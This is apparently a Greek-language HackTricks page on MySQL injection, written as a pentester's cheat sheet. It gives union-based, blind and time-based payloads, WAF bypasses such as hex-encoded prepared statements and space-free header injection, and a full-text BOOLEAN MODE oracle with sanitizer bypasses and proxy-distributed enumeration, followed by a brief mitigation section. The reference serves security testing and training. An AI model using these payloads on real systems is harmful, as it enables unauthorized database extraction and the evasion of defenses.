MySQL injection

Reading time: 10 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Σχόλια

sql
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

Ενδιαφέρουσες Συναρτήσεις

Επιβεβαίωση Mysql:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Χρήσιμες συναρτήσεις

sql
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

Όλα τα injection

sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

από https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

Ροή

Θυμηθείτε ότι στις "μοντέρνες" εκδόσεις του MySQL μπορείτε να αντικαταστήσετε το "information_schema.tables" αντί για το "mysql.innodb_table_stats" (Αυτό μπορεί να είναι χρήσιμο για να παρακάμψετε WAFs).

sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Μόνο 1 τιμή

  • group_concat()
  • Limit X,1

Blind one by one

  • substr(version(),X,1)='r' or substring(version(),X,1)=0x70 or ascii(substr(version(),X,1))=112
  • mid(version(),X,1)='5'

Blind adding

  • LPAD(version(),1...lenght(version()),'1')='asd'...
  • RPAD(version(),1...lenght(version()),'1')='asd'...
  • SELECT RIGHT(version(),1...lenght(version()))='asd'...
  • SELECT LEFT(version(),1...lenght(version()))='asd'...
  • SELECT INSTR('foobarbar', 'fo...')=1

Εντοπισμός αριθμού στηλών

Χρησιμοποιώντας ένα απλό ORDER

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Union Based

sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Μάθετε εδώ διαφορετικές επιλογές για να abuse a Mysql injection to obtain a SSRF.

Τεχνικές παράκαμψης WAF

Εκτέλεση ερωτημάτων μέσω Prepared Statements

Όταν επιτρέπονται τα stacked queries, ενδέχεται να είναι δυνατό να παρακάμψετε τους WAFs αναθέτοντας σε μια μεταβλητή την hex αναπαράσταση του query που θέλετε να εκτελέσετε (χρησιμοποιώντας SET), και στη συνέχεια να χρησιμοποιήσετε τις δηλώσεις PREPARE και EXECUTE του MySQL για να εκτελέσετε τελικά το query. Κάτι σαν αυτό:

0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #

Για περισσότερες πληροφορίες ανατρέξτε σε this blog post.

Information_schema εναλλακτικές

Θυμηθείτε ότι σε "σύγχρονες" εκδόσεις του MySQL μπορείτε να αντικαταστήσετε information_schema.tables με mysql.innodb_table_stats ή με sys.x$schema_flattened_keys ή με sys.schema_table_statistics

MySQLinjection χωρίς COMMAS

Επιλέξτε 2 στήλες χωρίς να χρησιμοποιήσετε κόμμα (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Ανάκτηση τιμών χωρίς το όνομα της στήλης

Αν σε κάποιο σημείο γνωρίζετε το όνομα του πίνακα αλλά δεν γνωρίζετε τα ονόματα των στηλών μέσα στον πίνακα, μπορείτε να προσπαθήσετε να βρείτε πόσες στήλες υπάρχουν εκτελώντας κάτι σαν:

bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

Υποθέτοντας ότι υπάρχουν 2 στήλες (όπου η πρώτη είναι το ID) και η άλλη είναι το flag, μπορείτε να προσπαθήσετε να bruteforce το περιεχόμενο του flag δοκιμάζοντας χαρακτήρα-χαρακτήρα:

bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

Περισσότερες πληροφορίες στο https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

Injection χωρίς κενά (/**/ comment trick)

Ορισμένες εφαρμογές καθαρίζουν ή αναλύουν την είσοδο χρήστη με συναρτήσεις όπως sscanf("%128s", buf) οι οποίες σταματούν στον πρώτο χαρακτήρα διαστήματος. Επειδή το MySQL αντιμετωπίζει την ακολουθία /**/ ως σχόλιο και ως whitespace, μπορεί να χρησιμοποιηθεί για να αφαιρέσει εντελώς τα κανονικά κενά από το payload ενώ διατηρεί το query συντακτικά έγκυρο.

Παράδειγμα time-based blind injection που παρακάμπτει το φίλτρο για κενά:

http
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'

Το οποίο η βάση δεδομένων λαμβάνει ως:

sql
' OR SLEEP(5)-- -'

Αυτό είναι ιδιαίτερα χρήσιμο όταν:

  • Το ελεγχόμενο buffer είναι περιορισμένο σε μέγεθος (π.χ. %128s) και τα κενά θα τερμάτιζαν πρόωρα την είσοδο.
  • Εισαγωγή μέσω HTTP headers ή άλλων πεδίων όπου τα κανονικά κενά αφαιρούνται ή χρησιμοποιούνται ως διαχωριστές.
  • Σε συνδυασμό με INTO OUTFILE primitives για να επιτευχθεί πλήρες pre-auth RCE (βλέπε την ενότητα MySQL File RCE).

Ιστορικό MySQL

Μπορείτε να δείτε άλλες εκτελέσεις μέσα στο MySQL διαβάζοντας τον πίνακα: sys.x$statement_analysis

Εναλλακτικές εκδόσειςs

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

Κατάχρηση τελεστή του MySQL Full-Text Search (FTS) BOOLEAN MODE (WOR)

Αυτό δεν είναι κλασικό SQL injection. Όταν οι developers περνούν είσοδο χρήστη στο MATCH(col) AGAINST('...' IN BOOLEAN MODE), η MySQL εκτελεί ένα πλούσιο σύνολο τελεστών Boolean αναζήτησης μέσα στη συμβολοσειρά που βρίσκεται εντός εισαγωγικών. Πολλοί κανόνες WAF/SAST επικεντρώνονται μόνο στο σπάσιμο των εισαγωγικών και χάνουν αυτήν την επιφάνεια.

Βασικά σημεία:

  • Οι τελεστές αξιολογούνται μέσα στις εισαγωγικές: + (must include), - (must not include), * (trailing wildcard), "..." (exact phrase), () (grouping), </>/~ (weights). Δείτε την τεκμηρίωση του MySQL.
  • Αυτό επιτρέπει δοκιμές παρουσίας/απουσίας και δοκιμές προθέματος χωρίς να βγούμε από το literal της συμβολοσειράς, π.χ. AGAINST('+admin*' IN BOOLEAN MODE) για να ελεγχθεί αν υπάρχει οποιοσδήποτε όρος που ξεκινά με admin.
  • Χρήσιμο για τη δημιουργία oracles όπως «περιέχει κάποια γραμμή όρο με πρόθεμα X;» και για την απαρίθμηση κρυφών συμβολοσειρών μέσω επέκτασης προθέματος.

Παράδειγμα query built by the backend:

sql
SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);

If the application returns different responses depending on whether the result set is empty (e.g., redirect vs. error message), that behavior becomes a Boolean oracle that can be used to enumerate private data such as hidden/deleted titles.

Sanitizer bypass patterns (generic):

  • Boundary-trim preserving wildcard: αν το backend κόβει 1–2 τελικά χαρακτήρες ανά λέξη μέσω ενός regex όπως (\b.{1,2})(\s)|(\b.{1,2}$), στείλτε prefix*ZZ. Ο cleaner κόβει τα ZZ αλλά αφήνει το *, οπότε το prefix* επιβιώνει.
  • Early-break stripping: αν ο κώδικας αφαιρεί operators ανά λέξη αλλά σταματά την επεξεργασία όταν βρει οποιοδήποτε token με μήκος ≥ min length, στείλτε δύο tokens: το πρώτο είναι ένα junk token που πληροί το όριο μήκους, το δεύτερο φέρει το operator payload. Για παράδειγμα: &&&&& +jack*ZZ → after cleaning: +&&&&& +jack*.

Payload template (URL-encoded):

keywords=%26%26%26%26%26+%2B{FUZZ}*xD
  • %26 is &, %2B is +. Το τελικό xD (ή οποιαδήποτε δύο γράμματα) αφαιρείται από τον cleaner, διατηρώντας το {FUZZ}*.
  • Θεωρήστε ένα redirect ως “match” και μια σελίδα σφάλματος ως “no match”. Μην ακολουθείτε αυτόματα τα redirects για να διατηρείτε το oracle παρατηρήσιμο.

Διαδικασία enumeration:

  1. Ξεκινήστε με {FUZZ} = a…z,0…9 για να βρείτε πρώτα-γράμματα matches μέσω +a*, +b*, …
  2. Για κάθε θετικό πρόθεμα, διακλαδώστε: a* → aa* / ab* / …. Επαναλάβετε για να ανακτήσετε ολόκληρο το string.
  3. Διανείμετε τα requests (proxies, multiple accounts) αν η εφαρμογή επιβάλλει flood control.

Γιατί οι τίτλοι συχνά leak ενώ τα περιεχόμενα όχι:

  • Κάποιες εφαρμογές εφαρμόζουν ελέγχους visibility μόνο μετά από ένα προκαταρκτικό MATCH σε τίτλους/subjects. Αν η control-flow εξαρτάται από το αποτέλεσμα “any results?” πριν το φιλτράρισμα, προκύπτουν leaks ύπαρξης.

Αντιμετώπιση:

  • Αν δεν χρειάζεστε Boolean logic, χρησιμοποιήστε IN NATURAL LANGUAGE MODE ή αντιμετωπίστε την είσοδο χρήστη ως literal (escape/quote απενεργοποιεί operators σε άλλες λειτουργίες).
  • Αν η Boolean mode απαιτείται, αφαιρέστε ή εξουδετερώστε όλους τους Boolean operators (+ - * " ( ) < > ~) για κάθε token (χωρίς πρόωρα διαλείμματα) μετά την tokenization.
  • Εφαρμόστε visibility/authorization φίλτρα πριν το MATCH, ή ενοποιήστε τις απαντήσεις (σταθερός χρόνος/κατάσταση) όταν το result set είναι empty vs. non-empty.
  • Ελέγξτε αντίστοιχες λειτουργίες σε άλλα DBMS: PostgreSQL to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2 CONTAINS επίσης αναλύουν operators μέσα σε quoted arguments.

Σημειώσεις:

  • Οι prepared statements δεν προστατεύουν από σημασιολογική κατάχρηση του REGEXP ή των search operators. Μια είσοδος όπως .* παραμένει permissive regex ακόμα κι μέσα σε quoted REGEXP '.*'. Χρησιμοποιήστε allow-lists ή explicit guards.

Other MYSQL injection guides

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks